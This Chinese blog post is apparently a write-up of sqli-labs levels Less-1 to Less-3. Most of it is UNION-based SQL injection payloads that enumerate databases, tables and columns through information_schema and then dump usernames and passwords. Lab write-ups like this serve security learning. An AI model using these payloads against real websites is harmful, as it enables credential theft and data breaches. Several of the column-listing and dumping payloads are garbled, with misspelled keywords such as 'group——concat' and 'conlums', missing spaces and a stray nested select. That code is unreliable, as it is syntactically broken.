首页 > 技术文章 > sqli过关

my-boke 2020-11-26 20:56 原文

less 1:

  • 根据题目输入id=1,2,3发现返回数据有返回;
  • 输入id=1‘出现错误,说明可能存在字符型注入;
  • 输入id=1’--+页面回显,说明存在单引号字符型注入;
  • 通过order by语句判断表有几列,采用二分法,先输入?id=1' order by 8,发现错误,在输入4,仍然错误,最后输入3,发现正确,则表中有三列;
  • 接下来判断有哪几个位置可以使用,将原来的id改为不存在的数,比如说-1,进行联名查询union select1,2,3,有两个显示
  • 通过这两个显示位来对数据库进行爆破:

1查询数据库个数:

select group_concat(schema_name)from information_schema.schemata--+

2.查询数据库版本和名字:

?id=-1' union select 1,2,database() --+

3.查询数据可表名:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

4.查询表中的列:

     union select1,2,select group——concat(conlum_name)from information_schema. conlums where table name='users'--+

5.查询账号 密码:

union select1,2,group_concat(username,0x3a,password)from users --+

less2:

  * 输入?id=1,正常运行,再输入?id=1'报错,由报错信息知,多加了’,因此判断为数字型注入;
  * 根据order by命令判断表的列数; 
  * 寻找可用位;union 1,2,3 回显2,3;
  * 开始查询:

1查询数据库个数:

select group_concat(schema_name)from information_schema.schemata--+

2.查询数据库版本和名字:

?id=-1 union select 1,2,database() --+

3.查询数据可表名:

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

4.查询表中的列:

     union select1,2,select group——concat(conlum_name)from information_schema. conlums where table name='users'--+

5.查询账号 密码:

union select1,2,group_concat(username,0x3a,password)from users --+

less3:

  * 输入id=1,正常,输入?id=1’由报错语句显示知,此题的SQL语句将1包裹起来即('1'),由此知,可通过')进行注入;
  * 通过order by判断表的列数;
  * 查询可用位置;
  * 开始查询:

1查询数据库个数:

select group_concat(schema_name)from information_schema.schemata--+

2.查询数据库版本和名字:

?id=-1')union select 1,2,database() --+

3.查询数据可表名:

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

4.查询表中的列:

?id=-1')union select1,2,select group——concat(conlum_name)from information_schema. conlums where table name='users'--+

5.查询账号 密码:

?id=-1') union select1,2,group_concat(username,0x3a,password)from users --+

推荐阅读